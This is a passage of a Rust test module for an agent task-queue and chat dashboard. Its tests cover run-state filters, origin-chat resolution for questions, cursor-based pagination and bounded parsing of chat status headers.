24515                    status,
24516                    "merged"
24517                        | "ready"
24518                        | "stalled"
24519                        | "blocked"
24520                        | "failed"
24521                        | "verified_noop"
24522                        | "superseded"
24523                        | "already_in_base"
24524                )
24525            {
24526                return "stale";
24527            }
24528            match status {
24529                "merged" | "ready" => "landed",
24530                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24531                | "already_in_base" => "ended",
24532                _ => "flight",
24533            }
24534        }
24535
24536        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24537        // way.
24538        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24539            match filter_key {
24540                "active" => !done,
24541                "flight" => !done && !waiting && !dead,
24542                "stale" => !done && !waiting && dead,
24543                "waiting" => waiting,
24544                "done" => done,
24545                "all" => true,
24546                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24547            }
24548        }
24549
24550        let compatible = |section: &str, filter_key: &str| {
24551            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24552                run_section(*waiting, status, *dead, *parked) == section
24553                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24554            })
24555        };
24556
24557        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24558        // (active, flight, stale, waiting, done, all) - hand-derived from the
24559        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24560        // currently contains.
24561        let expected = [
24562            ("waiting", [true, false, false, true, true, true]),
24563            ("stale", [true, false, true, false, false, true]),
24564            ("flight", [true, true, false, false, false, true]),
24565            ("landed", [false, false, false, false, true, true]),
24566            ("ended", [false, false, false, false, true, true]),
24567        ];
24568        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24569
24570        for (section, wants) in expected {
24571            for (filter_key, want) in filter_keys.iter().zip(wants) {
24572                assert_eq!(
24573                    compatible(section, filter_key),
24574                    want,
24575                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24576                );
24577            }
24578        }
24579
24580        // The compatibility check exists only to be acted on: both pickers
24581        // must actually consult it rather than just render its answer.
24582        assert!(
24583            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24584        );
24585        assert!(APP_JS.contains(
24586            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24587        ));
24588        assert!(APP_JS.contains(
24589            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24590        ));
24591    }
24592
24593    #[tokio::test]
24594    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24595        // An operator-named directory - git checkout or not - is never
24596        // second-guessed, even when it does not exist at all: only the
24597        // flag's own unmodified `.` default is ever eligible for discovery.
24598        let dir = tempfile::tempdir().expect("tempdir");
24599        let explicit = dir.path().join("not-a-checkout");
24600        std::fs::create_dir_all(&explicit).expect("create dir");
24601        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24602
24603        let missing = dir.path().join("does-not-exist-at-all");
24604        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24605    }
24606
24607    #[test]
24608    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24609        assert!(APP_JS.contains("function statsDonutArcs"));
24610        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24611        // A bucket click filters by the statuses src/stats.rs counts in it.
24612        assert!(APP_JS.contains("function statusInBucket"));
24613        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24614        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24615        let buckets = [
24616            "merged",
24617            "ready",
24618            "in_progress",
24619            "blocked",
24620            "failed",
24621            "verified_noop",
24622            "superseded",
24623            "stalled",
24624        ];
24625        for key in buckets {
24626            let var = format!("--verdict-{key}:");
24627            // Light, OS-dark and pinned-dark blocks each define it.
24628            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24629            assert!(
24630                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24631                "{key}"
24632            );
24633        }
24634    }
24635
24636    #[tokio::test]
24637    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24638        let dir = tempfile::tempdir().expect("tempdir");
24639        let queue = Queue::at(dir.path().join("queue"));
24640        let talks = Talks::at(dir.path().join("talks"));
24641        std::fs::create_dir_all(queue.root()).unwrap();
24642        std::fs::create_dir_all(talks.root()).unwrap();
24643
24644        // Put a corrupt json file in both stores
24645        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24646        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24647
24648        // Valid task and talk
24649        let mut task = Task::new(
24650            "title".into(),
24651            "inst".into(),
24652            PathBuf::from("/repo"),
24653            Source::Human,
24654        );
24655        task.id = "20261019-123456-abcd".into();
24656        // Write manually so it's a valid file
24657        std::fs::write(
24658            queue.path_of(&task.id),
24659            serde_json::to_string(&task).unwrap(),
24660        )
24661        .unwrap();
24662
24663        let talk_id = "20261019-234567-cdef";
24664        seed_talk_at(&talks, talk_id, "open");
24665
24666        // Exact match should succeed without failing on the corrupt json file
24667        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24668        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24669
24670        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24671        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24672        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24673    }
24674
24675    #[tokio::test]
24676    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24677        let home = tempfile::tempdir().unwrap();
24678        let ui = delta_test_ui(home.path());
24679        // A full history traversal would fail even with no questions.
24680        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24681        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24682        assert!(
24683            questions_list(State(ui.clone()))
24684                .await
24685                .unwrap()
24686                .0
24687                .is_empty()
24688        );
24689        assert!(
24690            question_origins(State(ui.clone()))
24691                .await
24692                .unwrap()
24693                .0
24694                .is_empty()
24695        );
24696        let mut question = Question::new(
24697            "run-history".into(),
24698            "review".into(),
24699            "seat".into(),
24700            "Useful question".into(),
24701            "Useful detail".into(),
24702            vec![],
24703        );
24704        ui.questions.put(&mut question).unwrap();
24705        let core = questions_core(State(ui.clone())).await.unwrap().0;
24706        assert_eq!(core.len(), 1);
24707        assert_eq!(core[0].question.summary, "Useful question");
24708        assert!(!core[0].can_consult_chat);
24709        assert!(core[0].origin_chat.is_none());
24710        assert_eq!(core[0].record_revision, question_record_revision(&question));
24711        assert!(question_origins(State(ui.clone())).await.is_err());
24712        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24713    }
24714
24715    #[tokio::test]
24716    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24717        let home = tempfile::tempdir().unwrap();
24718        let ui = delta_test_ui(home.path());
24719        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24720        let mut parent = Task::new(
24721            "parent".into(),
24722            "body".into(),
24723            PathBuf::from("/repo"),
24724            Source::Agent {
24725                run: chat.clone(),
24726                node: crate::queue::CHAT_NODE.into(),
24727            },
24728        );
24729        parent.id = "parent-task".into();
24730        parent.runs = vec!["parent-run".into()];
24731        ui.queue.put(&mut parent).unwrap();
24732        let mut previous = parent;
24733        for generation in 1..=2 {
24734            let mut child = Task::new(
24735                "child".into(),
24736                "body".into(),
24737                PathBuf::from("/repo"),
24738                Source::Human,
24739            );
24740            child.id = format!("child-task-{generation}");
24741            child.runs = vec![format!("child-run-{generation}")];
24742            child.followup = Some(crate::queue::FollowUp {
24743                origin_task: Some(previous.id.clone()),
24744                run: previous.runs[0].clone(),
24745                pr: String::new(),
24746                findings: vec![],
24747                generation,
24748            });
24749            ui.queue.put(&mut child).unwrap();
24750            previous = child;
24751        }
24752        // A run may have the same spelling as another task's id; its owner
24753        // must not override a typed task reference.
24754        let mut collision = Task::new(
24755            "collision".into(),
24756            String::new(),
24757            PathBuf::from("/repo"),
24758            Source::Human,
24759        );
24760        collision.id = "collision-task".into();
24761        collision.runs = vec![previous.id.clone()];
24762        ui.queue.put(&mut collision).unwrap();
24763        let mut questions = Vec::new();
24764        for (node, reference, expected, eligible) in [
24765            (crate::triage::NODE, previous.id.as_str(), true, false),
24766            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24767            ("review", previous.runs[0].as_str(), true, true),
24768            (
24769                crate::bump::NOTICE_NODE,
24770                previous.runs[0].as_str(),
24771                true,
24772                false,
24773            ),
24774            // Identical text in the wrong reference namespace is not evidence.
24775            ("review", previous.id.as_str(), false, false),
24776            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24777            ("review", "unrelated", false, false),
24778        ] {
24779            let mut q = Question::new(
24780                reference.into(),
24781                node.into(),
24782                "seat".into(),
24783                "Question".into(),
24784                String::new(),
24785                vec![],
24786            );
24787            ui.questions.put(&mut q).unwrap();
24788            questions.push((q, expected, eligible));
24789        }
24790        for (node, reference, associated, eligible) in [
24791            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24792            (
24793                crate::reconcile::NODE,
24794                previous.runs[0].as_str(),
24795                false,
24796                true,
24797            ),
24798            ("implement", previous.id.as_str(), false, false),
24799        ] {
24800            let mut q = Question::new(
24801                reference.into(),
24802                node.into(),
24803                crate::reconcile::SEAT.into(),
24804                "Reconcile".into(),
24805                String::new(),
24806                vec![],
24807            );
24808            ui.questions.put(&mut q).unwrap();
24809            questions.push((q, associated, eligible));
24810        }
24811        let mut release = Question::new(
24812            "release-record".into(),
24813            crate::bump::NOTICE_NODE.into(),
24814            "release-watch".into(),
24815            "Release".into(),
24816            String::new(),
24817            vec![],
24818        );
24819        ui.questions.put(&mut release).unwrap();
24820        let watch = crate::release_watch::WatchState {
24821            question: Some(release.id.clone()),
24822            run: Some(previous.runs[0].clone()),
24823            held_task: Some(previous.id.clone()),
24824            ..Default::default()
24825        };
24826        let watch_dir = home.path().join("release-watch");
24827        std::fs::create_dir_all(&watch_dir).unwrap();
24828        let watch_path = watch_dir.join("watch.json");
24829        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24830        // Ordinary questions and bump notices do not need watch-store I/O.
24831        for batch in [
24832            Vec::new(),
24833            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24834        ] {
24835            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24836            assert!(watches.is_empty());
24837        }
24838        questions.push((release.clone(), true, false));
24839
24840        let views = questions_list(State(ui.clone())).await.unwrap().0;
24841        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24842        for (q, associated, eligible) in &questions {
24843            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24844            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24845            let expected = associated.then_some(chat.as_str());
24846            assert_eq!(
24847                view.origin_chat.as_deref(),
24848                expected,
24849                "{} {}",
24850                q.node,
24851                q.run
24852            );
24853            assert_eq!(origin.origin_chat.as_deref(), expected);
24854            assert_eq!(view.origin_chat_closed, *associated);
24855            assert_eq!(origin.origin_chat_closed, *associated);
24856            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24857            assert_eq!(origin.can_consult_chat, *eligible);
24858        }
24859        // Either saved link independently recovers a release question's owner.
24860        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24861            let link = crate::release_watch::WatchState {
24862                run,
24863                held_task,
24864                ..watch.clone()
24865            };
24866            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24867            let (tasks, talks, watches) =
24868                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24869            assert_eq!(
24870                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24871                    .unwrap()
24872                    .id,
24873                chat,
24874            );
24875            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24876        }
24877        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24878        // Even identical duplicate records are ambiguous: ignore their links.
24879        let duplicate_path = watch_dir.join("duplicate.json");
24880        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24881        let (tasks, talks, watches) =
24882            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24883        assert!(
24884            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24885                .is_none()
24886        );
24887        std::fs::remove_file(duplicate_path).unwrap();
24888        // Another explicit owner is a conflict even if it has no chat.
24889        let mut unrelated = Task::new(
24890            "other".into(),
24891            String::new(),
24892            PathBuf::from("/repo"),
24893            Source::Human,
24894        );
24895        unrelated.id = "unrelated-task".into();
24896        ui.queue.put(&mut unrelated).unwrap();
24897        let mut conflicting = watch.clone();
24898        conflicting.held_task = Some(unrelated.id);
24899        std::fs::write(
24900            watch_dir.join("conflict.json"),
24901            serde_json::to_vec(&conflicting).unwrap(),
24902        )
24903        .unwrap();
24904        let (tasks, talks, watches) =
24905            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24906        assert!(
24907            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24908                .is_none()
24909        );
24910        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24911        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24912        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24913            assert!(origin.origin_chat.is_none());
24914            assert!(!origin.origin_chat_closed);
24915        }
24916    }
24917
24918    #[test]
24919    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24920        let home = tempfile::tempdir().unwrap();
24921        let ui = delta_test_ui(home.path());
24922        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24923        for i in 0..1000 {
24924            let mut task = Task::new(
24925                "unrelated".into(),
24926                "instruction ".repeat(256),
24927                PathBuf::from("/repo"),
24928                Source::Human,
24929            );
24930            task.id = format!("history-{i:04}");
24931            ui.queue.put(&mut task).unwrap();
24932            let id = seed_talk_at(&ui.talks, &task.id, "open");
24933            let mut talk = ui.talks.get(&id).unwrap();
24934            talk.pending = "history ".repeat(256);
24935            ui.talks.put(&mut talk).unwrap();
24936        }
24937        let mut parent = Task::new(
24938            "parent".into(),
24939            "body".into(),
24940            PathBuf::from("/repo"),
24941            Source::Agent {
24942                run: chat_id.clone(),
24943                node: crate::queue::CHAT_NODE.into(),
24944            },
24945        );
24946        parent.id = "task-parent".into();
24947        parent.runs = vec!["run-parent".into()];
24948        ui.queue.put(&mut parent).unwrap();
24949        let mut child = Task::new(
24950            "child".into(),
24951            "body".into(),
24952            PathBuf::from("/repo"),
24953            Source::Human,
24954        );
24955        child.id = "task-child".into();
24956        child.runs = vec!["run-child".into()];
24957        child.followup = Some(crate::queue::FollowUp {
24958            run: "run-parent".into(),
24959            origin_task: Some(parent.id.clone()),
24960            pr: "https://example.invalid/pr/1".into(),
24961            findings: vec![],
24962            generation: 1,
24963        });
24964        ui.queue.put(&mut child).unwrap();
24965        let mut question = Question::new(
24966            child.id.clone(),
24967            crate::conduct::NODE.into(),
24968            "seat".into(),
24969            "Continue?".into(),
24970            String::new(),
24971            vec![],
24972        );
24973        let (tasks, talks, _watches) =
24974            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24975        assert_eq!(tasks.len(), 2);
24976        assert_eq!(talks.len(), 1);
24977        assert_eq!(
24978            ui.monitor.queue_index.lock().unwrap().reparsed,
24979            0,
24980            "exact ancestry bypasses the index"
24981        );
24982        assert_eq!(
24983            crate::consult::origin_talk(&tasks, &talks, &question)
24984                .unwrap()
24985                .id,
24986            chat_id
24987        );
24988        question.run = "run-child".into();
24989        question.node = "review".into();
24990        for origin_task in [Some(parent.id.clone()), None] {
24991            child.followup.as_mut().unwrap().origin_task = origin_task;
24992            ui.queue.put(&mut child).unwrap();
24993            let (tasks, talks, _watches) =
24994                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24995            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24996            let expected =
24997                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24998                    .unwrap();
24999            assert_eq!(actual.id, expected.id);
25000            assert!(!actual.status.open());
25001            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25002            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25003            // Without Unix file identity, every readable record must be
25004            // reparsed to detect same-size, same-mtime replacements safely.
25005            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25006            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25007        }
25008        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25009        ui.queue.put(&mut child).unwrap();
25010        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25011        let (tasks, talks, _watches) =
25012            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25013        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25014        child.origin_chat = Some(chat_id.clone());
25015        ui.queue.put(&mut child).unwrap();
25016        let (tasks, talks, _watches) =
25017            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25018        assert_eq!(
25019            crate::consult::origin_talk(&tasks, &talks, &question)
25020                .unwrap()
25021                .id,
25022            chat_id
25023        );
25024        let revision = question_record_revision(&question);
25025        question.abandon("settled elsewhere");
25026        assert_ne!(revision, question_record_revision(&question));
25027        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25028        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25029        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25030        let (tasks, talks, _watches) =
25031            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25032        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25033    }
25034
25035    #[test]
25036    fn list_cursors_freeze_membership_and_expire_explicitly() {
25037        let home = tempfile::tempdir().unwrap();
25038        let ui = delta_test_ui(home.path());
25039        std::fs::create_dir_all(ui.queue.root()).unwrap();
25040        for i in 0..40 {
25041            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25042        }
25043        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25044        assert_eq!(first.len(), STORE_PAGE_SIZE);
25045        let cursor = cursor.unwrap();
25046        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25047        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25048        let (second, _) = page_ids(
25049            &ui,
25050            false,
25051            PageQuery {
25052                before: Some(cursor.clone()),
25053            },
25054        )
25055        .unwrap();
25056        assert_eq!(second[0], "record-0023");
25057        assert!(second.iter().all(|id| !first.contains(id)));
25058        assert!(
25059            page_ids(
25060                &ui,
25061                true,
25062                PageQuery {
25063                    before: Some(cursor.clone())
25064                }
25065            )
25066            .is_err()
25067        );
25068        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25069        assert_eq!(fresh[0], "record-9999");
25070        ui.monitor.list_walks.lock().unwrap().clear();
25071        assert!(
25072            page_ids(
25073                &ui,
25074                false,
25075                PageQuery {
25076                    before: Some(cursor)
25077                }
25078            )
25079            .is_err()
25080        );
25081    }
25082
25083    #[tokio::test]
25084    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25085        let home = tempfile::tempdir().unwrap();
25086        let ui = delta_test_ui(home.path());
25087        // Every closed conversation is newer by ID than every open conversation.
25088        for i in 0..23 {
25089            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25090        }
25091        for i in 0..45 {
25092            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25093        }
25094        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25095        let first = talks_page(
25096            State(ui.clone()),
25097            Query(PageQuery::default()),
25098            header::HeaderMap::new(),
25099        )
25100        .await
25101        .unwrap()
25102        .0;
25103        assert_eq!(
25104            first.rows.iter().filter(|row| row.status.open()).count(),
25105            23
25106        );
25107        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25108        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25109        let parsed = ui
25110            .monitor
25111            .talk_parses
25112            .load(std::sync::atomic::Ordering::Relaxed);
25113        assert_eq!(
25114            parsed,
25115            first.rows.len(),
25116            "closed bodies outside this page are not restored"
25117        );
25118        let fresh = talks_page(
25119            State(ui.clone()),
25120            Query(PageQuery::default()),
25121            header::HeaderMap::new(),
25122        )
25123        .await
25124        .unwrap()
25125        .0;
25126        assert_eq!(fresh.rows.len(), first.rows.len());
25127        assert_eq!(
25128            ui.monitor
25129                .talk_parses
25130                .load(std::sync::atomic::Ordering::Relaxed),
25131            parsed
25132        );
25133        let mut seen: std::collections::HashSet<_> =
25134            first.rows.iter().map(|row| row.id.clone()).collect();
25135        // Status changes keep their original membership position until refresh.
25136        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25137        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25138        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25139        let mut next = first.next;
25140        while let Some(cursor) = next {
25141            let page = talks_page(
25142                State(ui.clone()),
25143                Query(PageQuery {
25144                    before: Some(cursor),
25145                }),
25146                header::HeaderMap::new(),
25147            )
25148            .await
25149            .unwrap()
25150            .0;
25151            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25152            for row in page.rows {
25153                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25154            }
25155            next = page.next;
25156        }
25157        let expected: HashSet<_> = (0..23)
25158            .map(|i| format!("20260101-000000-{i:03}"))
25159            .chain(
25160                (0..45)
25161                    .filter(|i| *i != 1)
25162                    .map(|i| format!("20261019-000000-{i:03}")),
25163            )
25164            .collect();
25165        assert_eq!(
25166            seen, expected,
25167            "the cursor walk must return every surviving ID"
25168        );
25169        let refreshed = talks_page(
25170            State(ui.clone()),
25171            Query(PageQuery::default()),
25172            header::HeaderMap::new(),
25173        )
25174        .await
25175        .unwrap()
25176        .0;
25177        assert_eq!(
25178            refreshed
25179                .rows
25180                .iter()
25181                .filter(|row| row.status.open())
25182                .count(),
25183            23
25184        );
25185        assert!(
25186            refreshed
25187                .rows
25188                .iter()
25189                .any(|row| row.id == "20261019-000000-000")
25190        );
25191        assert!(
25192            !refreshed
25193                .rows
25194                .iter()
25195                .any(|row| row.id == "20260101-000000-000")
25196        );
25197    }
25198
25199    #[test]
25200    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25201        let home = tempfile::tempdir().unwrap();
25202        let ui = delta_test_ui(home.path());
25203        for i in 0..STORE_PAGE_SIZE + 5 {
25204            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25205        }
25206        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25207        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25208        assert!(next.is_none());
25209    }
25210
25211    #[test]
25212    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25213        struct Counted<R> {
25214            inner: R,
25215            bytes: usize,
25216        }
25217        impl<R: std::io::Read> std::io::Read for Counted<R> {
25218            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25219                let n = self.inner.read(buf)?;
25220                self.bytes += n;
25221                Ok(n)
25222            }
25223        }
25224        let home = tempfile::tempdir().unwrap();
25225        let ui = delta_test_ui(home.path());
25226        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25227        let mut chat = ui.talks.get(&id).unwrap();
25228        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25229            chat.turns = vec![
25230                serde_json::from_value(serde_json::json!({
25231                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25232                }))
25233                .unwrap(),
25234            ];
25235            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25236                chat.status = status;
25237                // Exercise the actual on-disk serializer, including its field order.
25238                let body = serde_json::to_vec_pretty(&chat).unwrap();
25239                let mut reader = Counted {
25240                    inner: body.as_slice(),
25241                    bytes: 0,
25242                };
25243                assert_eq!(read_talk_status(&mut reader), Some(status));
25244                assert!(
25245                    reader.bytes <= 1024,
25246                    "header classification read {} bytes",
25247                    reader.bytes
25248                );
25249            }
25250        }
25251        // Noncanonical field order must neither traverse a transcript nor hide
25252        // an open row. Its real status is validated by the ordinary row reader.
25253        let noncanonical = format!(
25254            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25255            "x".repeat(1024 * 1024)
25256        );
25257        let mut reader = Counted {
25258            inner: noncanonical.as_bytes(),
25259            bytes: 0,
25260        };
25261        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25262        assert!(reader.bytes <= 1024);
25263        let oversized = format!(
25264            r#"{{"agent":"{}","status":"open"}}"#,
25265            "x".repeat(128 * 1024)
25266        );
25267        let mut reader = Counted {
25268            inner: oversized.as_bytes(),
25269            bytes: 0,
25270        };
25271        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25272        assert!(reader.bytes <= 64 * 1024);
25273    }
25274
25275    #[test]
25276    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25277        let home = tempfile::tempdir().unwrap();
25278        let ui = delta_test_ui(home.path());
25279        seed_talk_at(&ui.talks, "header-chat", "open");
25280        std::fs::create_dir_all(ui.queue.root()).unwrap();
25281        let (started, ready) = std::sync::mpsc::channel();
25282        let (release, wait) = std::sync::mpsc::channel();
25283        let chat_ui = ui.clone();
25284        let scan = std::thread::spawn(move || {
25285            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25286                started.send(()).unwrap();
25287                wait.recv().unwrap();
25288                open_talk_ids(ui, ids)
25289            })
25290            .unwrap()
25291        });
25292        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25293        let (finished, result) = std::sync::mpsc::channel();
25294        let queue = std::thread::spawn(move || {
25295            finished
25296                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25297                .unwrap();
25298        });
25299        let completed = result.recv_timeout(Duration::from_secs(2));
25300        // Release and join both workers even if the regression returns.
25301        release.send(()).unwrap();
25302        scan.join().unwrap();
25303        queue.join().unwrap();
25304        assert!(
25305            completed.unwrap(),
25306            "queue paging must not wait for chat header I/O"
25307        );
25308    }
25309
25310    #[test]
25311    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25312        let home = tempfile::tempdir().unwrap();
25313        let ui = delta_test_ui(home.path());
25314        let ids = vec!["changing-chat".to_owned()];
25315        seed_talk_at(&ui.talks, &ids[0], "closed");
25316        assert!(open_talk_ids(&ui, &ids).is_empty());
25317        seed_talk_at(&ui.talks, &ids[0], "open");
25318        let open = open_talk_ids_with(&ui, &ids, |path| {
25319            let value: serde_json::Value =
25320                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25321            // Replace the file after parsing, before its identity is checked again.
25322            seed_talk_at(&ui.talks, &ids[0], "closed");
25323            serde_json::from_value(value["status"].clone()).ok()
25324        });
25325        assert!(open.contains(&ids[0]));
25326        assert!(
25327            ui.monitor
25328                .talk_status_index
25329                .lock()
25330                .unwrap()
25331                .records
25332                .is_empty()
25333        );
25334        assert!(open_talk_ids(&ui, &ids).is_empty());
25335        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25336    }
25337
25338    #[test]
25339    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25340        let home = tempfile::tempdir().unwrap();
25341        let ui = delta_test_ui(home.path());
25342        let headers = header::HeaderMap::new();
25343        seed_talk_at(&ui.talks, "open-chat", "open");
25344        seed_talk_at(&ui.talks, "closed-chat", "closed");
25345        talk_rows(
25346            &ui,
25347            vec!["open-chat".into(), "closed-chat".into()],
25348            &headers,
25349        );
25350        {
25351            let mut index = ui.monitor.talk_index.lock().unwrap();
25352            let closed = index["closed-chat"].1.clone();
25353            for i in 0..1000 {
25354                index.insert(
25355                    format!("cached-closed-{i}"),
25356                    (
25357                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25358                        closed.clone(),
25359                    ),
25360                );
25361            }
25362        }
25363        assert_eq!(
25364            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25365            1
25366        );
25367        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25368        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25369        assert_eq!(
25370            ui.monitor
25371                .talk_parses
25372                .load(std::sync::atomic::Ordering::Relaxed),
25373            2
25374        );
25375        {
25376            let mut index = ui.monitor.talk_index.lock().unwrap();
25377            let open = index["open-chat"].1.clone();
25378            for i in 0..1000 {
25379                index.insert(
25380                    format!("cached-open-{i}"),
25381                    (
25382                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25383                        open.clone(),
25384                    ),
25385                );
25386            }
25387        }
25388        // Even when open rows exceed the bound, keep the currently requested rows.
25389        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25390        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25391        assert_eq!(
25392            ui.monitor
25393                .talk_parses
25394                .load(std::sync::atomic::Ordering::Relaxed),
25395            2
25396        );
25397    }
25398
25399    #[test]
25400    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25401        let home = tempfile::tempdir().unwrap();
25402        let ui = delta_test_ui(home.path());
25403        std::fs::create_dir_all(ui.talks.root()).unwrap();
25404        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25405        for id in &ids {
25406            std::fs::write(
25407                ui.talks.path_of(id),
25408                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25409            )
25410            .unwrap();
25411        }
25412        assert!(open_talk_ids(&ui, &ids).is_empty());
